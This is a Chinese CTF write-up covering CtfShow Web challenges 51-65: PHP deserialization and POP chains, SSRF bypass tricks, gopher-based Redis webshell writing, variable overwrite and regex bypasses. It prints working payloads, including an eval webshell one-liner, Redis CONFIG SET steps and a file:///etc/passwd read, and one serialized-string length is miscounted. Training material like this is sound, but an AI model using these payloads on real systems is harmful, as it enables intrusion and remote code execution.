1. 从零开始的CtfShow Web入门:51-65题到底在练什么
CTF圈子里一直有个说法:Web题是入门最容易、深入最难的板块。CtfShow的Web入门系列正好卡在这个节点上——前面50题帮你把SQL注入、文件包含、命令执行这些基础姿势过了一遍,到了51-65这道坎,考察的东西突然就"不单纯"了。
我做这套题的时候最大的感受是:它不再单纯考"某个漏洞怎么打",而是开始考"你怎么在真实业务逻辑里找到漏洞点"。如果说前50题是教你怎么用刀,那51-65就是教你在哪下刀、什么时候别乱砍。
这篇博文我会把51-65的完整做题思路、关键突破点、以及我踩过的坑全部梳理出来。适合人群有三类:
- 刚刷完CtfShow Web 1-50、正在过渡期挣扎的新手
- 想要系统梳理PHP伪协议、反序列化、SSRF这些高频考点的选手
- 准备打CTF比赛但Web经验零散的爱好者
先说结论:这15道题的核心考点集中在反序列化、SSRF、代码审计、以及各种"看似人畜无害"的文件处理逻辑上。每一题都有它独特的"故事背景",你需要像做侦探一样从代码里找出那个"不对劲"的地方。
2. 环境准备与做题方法论:为什么很多人卡在51题就放弃了
2.1 本地环境的搭建思路
刷CtfShow这类在线靶场其实不需要太重的本地环境,但你至少要有这几个工具在手边:
- Burp Suite:抓包改包的核心工具,Web题没有它等于少了一只手
- HackBar(Firefox插件)或浏览器自带的Fetch/编辑器:快速构造POST请求和Payload
- 一个趁手的代码高亮工具:在线靶场给的源码经常是PHP文件,你需要能快速看清逻辑
- Python3环境:遇到需要跑脚本爆破或构造序列化数据的时候用得上
我第一次做51题的时候犯了个错误——一上来就疯狂试SQL注入的Payload,结果试了半天毫无反应。后来冷静下来先把源码看完,才发现这题压根不是注入,而是反序列化漏洞。
提示:CtfShow的Web入门题有一个共性——每道题都给了完整的源码,答案就藏在源码里。做题第一件事永远是看代码,而不是盲目扫描。
2.2 做题的正确打开方式
我把我的做题流程固定成了五步,后面每道题都按这个节奏走:
- 打开靶场页面,先看URL参数和页面交互,猜测功能点
- 查看源码(CtfShow基本都会提供),梳理代码逻辑
- 确定攻击面:哪里能传参?哪里能控制输入?哪里调用了危险函数?
- 构造Payload,用Burp或HackBar发送
- 拿Flag,复盘这道题考的到底是哪个知识点
这套流程看起来很基础,但真的能帮你少走很多弯路。很多新手卡题的原因不是不会Payload,而是跳过了第2步直接进了第4步。
3. 51-55题精讲:从反序列化到POP链的思维跃迁
3.1 web51:不可小觑的"代码审计入门"
web51题目的考察点非常直接——PHP反序列化漏洞。这也是从入门到进阶的必经之路。
先看源码(伪代码形式):
class Animal { public $name; public $age; public function __destruct() { echo $this->name; } } $data = $_GET['data']; unserialize($data);很多人看到unserialize第一反应是"反序列化漏洞",但为什么它危险?这里要理解PHP的魔术方法机制。当对象被销毁时,__destruct会被自动调用,如果name属性可控,你就能在这里执行任意代码。
我的第一个Payload长这样:
O:6:"Animal":2:{s:4:"name";s:10:"phpinfo();";s:3:"age";s:1:"1";}结果没成功。原因很简单——echo $this->name;只是输出了一个字符串,并没有执行它。这里要利用的是类中其他魔术方法,比如__toString、__call,或者在name中构造一个对象触发连串调用。
真正能打通这题的思路是:寻找源码里有没有其他类,这些类里有没有危险函数(比如eval、system、file_put_contents)。这其实就是POP链的雏形——通过控制一个对象的属性值,触发一系列方法调用,最终到达危险函数。
我后面会详细展开POP链的构造方法,因为56-60题里这就是核心中的核心。
3.2 web52-53:过滤与绕过的博弈
到了52题,代码里开始出现过滤了。这是Web题最常见的套路——"你以为你在绕过滤,其实你在被过滤绕"。
52题的典型代码:
$data = $_GET['data']; $data = str_replace('php', '', $data); unserialize($data);只过滤了php字符串。如果序列化字符串里恰好包含php字样,比如类名是PHPClass,那直接替换就破坏了序列化结构。这时候有几个思路:
- 双写绕过:
php替换为空,那我把pphphp传进去,过滤后变成php,但序列化长度对不上,会报错 - 大小写绕过:
PHP、Php并不等于php,PHP反序列化对类名大小写敏感吗?
这里要说明一个重点:PHP反序列化对类名是大小写不敏感的。O:6:"Animal"和O:6:"animal"在反序列化时指向同一个类。所以当你需要类名中出现php字样时,直接改成PHP、Php,就能绕过最简单的字符串替换。
但52题的真正难度不是这个——而是源码里压根没有现成的危险类,需要你自己构造。这就是53题引入的另一个概念:phar反序列化。
phar文件可以触发反序列化,前提是文件操作函数能够识别phar协议。CtfShow 53题就是让你通过phar://协议,在一个看似只能上传文件、不能直接传入序列化数据的地方触发漏洞。
3.3 web54-55:POP链的第一次完整实践
54和55是连续剧式题目。54题给了你几个类,里面有一个类的某个方法调用了system(),你要做的就是反序列化构造一条调用链。
还是用一个简化的代码来演示POP链构造思路:
class A { public $obj; public function __destruct() { $this->obj->run(); } } class B { public $cmd; public function run() { system($this->cmd); } }目标:让A对象销毁时,调用B对象的run()方法,执行任意命令。
序列化A对象时,把obj属性设成B对象,cmd设为要执行的命令:
$a = new A(); $b = new B(); $b->cmd = 'cat flag.php'; $a->obj = $b; echo serialize($a);这段PHP代码跑出来的序列化字符串:
O:1:"A":1:{s:3:"obj";O:1:"B":1:{s:3:"cmd";s:9:"cat flag.php";}}把这个字符串作为data参数传进去,反序列化后A对象被销毁,触发__destruct,调用$this->obj->run(),而obj是B对象,于是执行了cat flag.php。
这就是最基础的两层POP链。55题的代码会变成三层甚至四层,但思路完全一样:顺着代码里的方法调用关系,从可控的入口(__destruct、__wakeup等)一路摸到危险函数。
构造这种链子的时候,我强烈建议在本地起一个PHP环境,用写脚本的方式生成Payload,别手动拼字符串——层数一多,属性数量和长度很容易算错,一错整个反序列化就崩了。
4. 56-60题实战:SSRF、代码执行与绕过滤的进阶姿势
4.1 web56:SSRF的入口与出口
从56题开始,CtfShow把目光转向了SSRF(服务端请求伪造)。这一块在真实渗透里特别实用,很多内网攻击的第一步就是靠SSRF打进去的。
SSRF的经典场景:某个功能需要服务器去请求外部URL,比如"预览网页"、"获取远程图片"、"URL转码"。如果能控制这个URL参数,就能让服务器访问内网地址。
56题的场景是这样的:给你一个URL参数,服务器用curl去请求这个地址。但源码里有个限制——不允许访问本地地址(127.0.0.1、localhost这些)。
常见的绕过手法我整理了一张表:
| 限制方式 | 绕过思路 |
|---|---|
过滤127.0.0.1 | 用127.0.0.2、0.0.0.0、2130706433(十进制IP) |
过滤localhost | 用localtest.me这类DNS解析到127.0.0.1的域名 |
| 过滤IP关键字 | 用[::1](IPv6环回地址)、十六进制IP |
| 协议限制 | 用file://、gopher://、dict://替代http:// |
56题的直接解法很简单——换一个等价地址。我印象很深的是127.0.0.0可能绕不过,但127.0.0.2能过。具体的原因在于很多程序员写正则时只精确匹配了127.0.0.1这一个字符串。
这里有个更隐蔽的点:如果你用域名nip.io系列(比如127.0.0.1.nip.io解析到127.0.0.1),等于换了个壳但地址没变。CtfShow这种入门题基本用最简单的绕过方式就能搞定——比如加个端口、用不同格式表示IP地址。
4.2 web57-58:端口扫描与内网探测
57题的思路和56题完全不一样,它要求你通过SSRF探测内网中哪些端口有服务。这其实就是端口扫描的Web化。
核心就是认识dict://和gopher://这两个协议。为什么它们能用来探测端口?
dict://ip:port/:如果端口开放且是TCP服务,会返回一些响应内容;如果端口关闭,请求会超时或直接报错gopher://ip:port/内容:能发送任意TCP payload,用途更广,甚至能打Redis未授权访问
我本地实测的流程是:先写一个小脚本,循环尝试不同的内网IP和端口,看哪些返回了非空内容。一旦找到开放的服务,再根据返回内容判断服务类型——比如返回redis-server字样,那就是Redis。
58题在此基础上加了限制——服务器必须访问指定的内网主机,且只能访问特定路径。这个时候利用gopher://去构造一个完整的HTTP请求就能绕过路径限制,让服务器帮你"转发"一个任意请求到目标内网服务上。
SSRF这个知识点在真实渗透里特别重要。我曾经在一个授权测试里遇到过类似场景:目标站有个图片下载功能,通过SSRF打到了内网的管理后台,最后拿到了整个内网段的权限。CtfShow这套题的设置虽然简化了,但核心逻辑是完全真实的。
4.3 web59-60:从SSRF到代码执行
59题开始出现一个组合拳:先SSRF探测出内网服务,再通过特定协议执行命令。最常见的目标就是内网里的Redis。
Redis未授权访问的利用方式是CTF和实战中的老套路了:
- 通过
gopher://协议,向Redis发送CONFIG SET dir和CONFIG SET dbfilename命令 - 把WebShell写到web目录下
- 用浏览器访问shell执行命令
这里关键是gopher协议的payload构造。gopher的格式是:
gopher://127.0.0.1:6379/_后面跟的内容会原封不动发给目标服务Redis的写文件payload要按协议格式加上\r\n。比如写一个PHP一句话木马:
CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php SET payload "<?php eval($_POST['x']);?>" SAVE每一条命令后面都要加\r\n,而且需要URL编码。这一步我踩过最大的坑就是忘了给特殊字符做URL编码,导致gopher发出去了但Redis根本解析不了。
60题是这套SSRF组合拳的收尾,考的是file://协议直接读取内网文件。当你发现SSRF只是用来读文件时,其实可以不用HTTP,直接file:///etc/passwd把内容打出来。这类题在CTF里也常出现,核心就是记住:file协议能读文件,gopher和dict能探测和交互,HTTP只是冰山一角。
5. 61-65题收尾:正则绕过、变量覆盖和"最后一公里"
5.1 web61:合法输入中的非法逻辑
61题进入了一个新的考察点:代码逻辑漏洞,而不是传统意义上的注入。这类题有个特点——代码里没有任何明显的危险函数,但通过某种"合法"的方式能达到非法效果。
典型的例子是变量覆盖。比如代码里这样写:
foreach ($_GET as $key => $value) { $$key = $value; }你传一个flag=1参数,就会把$flag变量覆盖为1。如果后面逻辑判断$flag的值来决定是否输出flag,那这题就被你"逻辑绕过"了。
61题的坑在于:新手往往盯着有eval或有system的代码行看,却忽略了这种"看起来人畜无害"的foreach。真正的风险往往藏在所有人都会写的通用逻辑里。做这类题的经验是:逐行过一遍代码,别跳过循环和数组处理。
5.2 web62-63:正则表达的攻防
62、63两题重点考正则过滤。这本身就是一个大话题——正则写得好,能杀90%的Payload;正则写得烂,等于给攻击者指明了突破口。
常见的正则绕过手法:
- 数组绕过:如果过滤函数是
preg_match,它遇到数组参数时会直接返回false,但并不会终止程序。很多新手不知道这个特性。如果你把参数构造成数组,过滤就形同虚设 - 换行绕过:
preg_match默认不匹配换行符。如果你的Payload里包含换行,$锚点可能失效 - 多次编码:把Payload做URL编码、HTML实体编码,让过滤规则匹配不到原始形态
拿62题举例,如果过滤规则写了preg_match("/flag/i", $cmd),那最简单的方式就是fla\g中间加个反斜杠或者用${flag}之类的变量符号拆开。PHP的字符串解析很有趣,双引号内的某些写法会被解析成预期内容。
63题进一步升级:过滤了几乎所有危险函数,但保留了对参数传递方式的限制。这时可以考虑用PHP已有函数做拼接或利用$_GET、$_POST等超全局变量传值。思路是:既然过滤的是"函数名+括号"这个组合,那我可以让最终执行时的函数名由拼接产生。
5.3 web64-65:命令执行的最后一课
到了64、65题,CtfShow开始把前面所有知识串起来——先反序列化,再文件操作,再命令执行。很多选手能在单点上打好,一到组合题就懵。原因在于:你平时练习时是"知道什么考点来什么打法",但组合题里你需要先找到入口,再判断是什么漏洞,最后选址合适的利用链。
64题我记得有一个特别隐蔽的点:某个功能模块在写入文件时没有过滤内容,但文件后缀被写死为.txt。常规思路是没法直接拿WebShell。但如果利用PHP的include或者文件包含把txt文件中的PHP代码解析执行,就能绕过后缀限制。
65题则用了Base64编码拼接的方式隐藏Payload。代码可能是这样:
$cmd = base64_decode($_GET['cmd']); system($cmd);看似简单,但如果它前面还有一层过滤,你就需要把整个命令做编码。这类题的通用解法就是:先弄清输入在哪一步被解码、在哪一步被执行,中间任何一个环节能插入你的控制内容,就有机会。
6. 做题实战中的隐性知识点:PHP序列化格式与魔术方法速查
这部分我单独拿出来讲,因为在51-65题里反复用到,但很多新手教材都没讲透。
6.1 序列化字符串格式
PHP序列化格式是一个结构化的字符串,规则非常固定:
O:类名长度:"类名":属性数量:{...}表示对象s:属性名长度:"属性名";表示字符串属性i:数字;表示整型
举例:
O:5:"Class":2:{s:4:"name";s:5:"hello";s:3:"age";i:18;}解读:O:5:"Class"是一个名为Class的对象,长度正好为5;2表示有两个属性;花括号里分别是name="hello"、age=18。
这个格式你必须烂熟于心,因为任何一个小数点错误都会导致反序列化失败。我之前做某题时,把属性名长度从4算成了5,整个Payload就崩了,排查了半天才发现是长度数字写错。
6.2 魔术方法触发时机
| 魔术方法 | 触发时机 | 用法 |
|---|---|---|
__construct | 实例化对象时 | 构造时初始化 |
__destruct | 对象销毁时 | POP链最常见入口 |
__wakeup | 反序列化时 | 漏洞利用常绕过点 |
__toString | 对象被当作字符串时 | 制造任意输出 |
__call | 调用不存在方法时 | 链式调用跳板 |
__get | 读取不可访问属性时 | 链式调用跳板 |
CtfShow 51-65里考得最多的是__destruct做入口、__call或__toString做跳板。掌握了这几个方法的调用条件,绝大多数反序列化题都能读懂。
6.3 正则绕过的"度"
很多人学正则绕过时有一个误区:以为绕过越多越好。实际上,在CTF题目里,出题人设置的过滤规则往往不是最严格的,里面总有几个"缝隙"是故意留出来的。做题时应该顺着过滤规则去猜出题人的意图,而不是把市面上所有绕过技巧全堆上去。我在做62题时就试了六七种绕过手法,结果发现最简单的一种反而在最短时间内就打通了。
7. 我在51-65题里踩过的三个大坑
刷完这15道题,我总结了三个最典型的翻车现场,每一条都是血泪教训。
7.1 坑一:序列化长度总是算错
构造反序列化Payload的时候,字符串长度必须和实际字符数完全一致。一旦多一个空格、少一个斜杠,PHP会直接报错,提示Error at offset X of Y bytes。
我的解决办法是:先用Python脚本自动生成Payload,别手写。拿web54举例,我写了个简单的Python函数来生成序列化字符串,用len()函数自动计算长度,彻底告别手算。
def build_serialized(cls_name, props): ret = f'O:{len(cls_name)}:"{cls_name}":{len(props)}:{{' for k, v in props.items(): if isinstance(v, str): ret += f's:{len(k)}:"{k}";s:{len(v)}:"{v}";' elif isinstance(v, int): ret += f's:{len(k)}:"{k}";i:{v};' ret += '}' return ret这种脚本可以应对80%以上需要构造序列化对象的场景。
7.2 坑二:gopher协议的URL编码不彻底
gopher协议对特殊字符要求极其严格,连\r\n都必须按%0d%0a编码。我第一次打Redis的时候,就是没把空格和换行转义,发出去的命令全被Redis当成了乱码。
正确做法:先把整个payload按ASCII字符逐字节URL编码(保留字母数字和部分标点),然后把\r\n明确编码为%0d%0a。最好用Python的urllib.parse.quote加上safe=''参数,可以快速生成完整编码串。
出现问题的另一种常见原因是目标服务对不同分隔符的处理方式不同。有些服务认\n,有些只认\r\n,这需要你根据服务类型做调整。CTF里打Redis时我统一用\r\n,成功率很高。
7.3 坑三:只盯着Payload,忘了看整体逻辑
这是新手最容易忽略的。有时候题目里明明允许你上传一个文件,然后再通过另一个功能去读取它。你却一直纠结于"这个上传点能不能传PHP"——这就是钻进死胡同了。
54题和59题尤其考验这点:代码里同时给了文件上传和文件读取两个功能,单纯看它们各自都没有直接漏洞,组合起来才是一个完整的利用链。我在做题时养成一个习惯:把每个功能模块在纸上画出来,用箭头连一下它们之间的关系,图表一画出来,攻击路径往往自己就浮出水面了。
8. 补充分享:这套题练完,对真实业务渗透的启发
很多人觉得CTF题目脱离现实,答对题但做不了实战检测,其实也不尽然。CtfShow 51-65这套题练完,我最大的体会是:真实的Web渗透测试,很多漏洞利用路径和CTF逻辑完全一致。
举个典型的例子:XXE(XML外部实体注入)里的"读文件"思路,跟这里用file://协议读文件是一模一样的。真实运维中被忽略的内部服务(Redis、数据库管理面板),恰恰是SSRF最喜欢打的点。我后来在授权测试里遇到一个能访问内网图片的功能,立刻想到了这套题里Redis写WebShell的思路,顺着打进去,几个小时内就拿到了那台内网主机的权限。
另一个收获是代码审计的敏感性。刷完这套题,我再看业务代码时,会下意识关注几个高危点:
- 有没有
unserialize接收外部输入 - 有没有
include或require拼接用户可控变量 - 有没有
preg_match过滤但可以用数组绕过 - 有没有
curl或file_get_contents请求用户传入的URL - 有没有奇怪的
foreach做变量覆盖
这套"敏感点清单"是CTF训练带给我的最大财富。它不能取代经验,但能帮我用更少的时间覆盖更多的风险点。
9. 写在最后:关于做题顺序和心态的一点经验
51-65这套题是CtfShow Web入门里的"分水岭"——刷完它,你算正式告别纯Paylaod复制粘贴阶段,开始理解漏洞背后的原理了。
我的建议是:别跳题。每一题都老老实实做完,即使卡住了也别急着看WriteUp,先自己死磕三小时,把能试的思路都试一遍。这个"试错-复盘"的过程才是长进最快的地方。
最后分享一个我自己用的学习小技巧:每完成一道题,就在本地建一个Markdown笔记,记录三件事——题目考点、我的错误思路、最终解法。看起来简单,但坚持做完65题之后一翻,每一页都是踩过的坑,后续打比赛翻起来特别管用。这比收藏别人的WriteUp要有用得多,因为只有自己写的才是真正过了脑子的东西。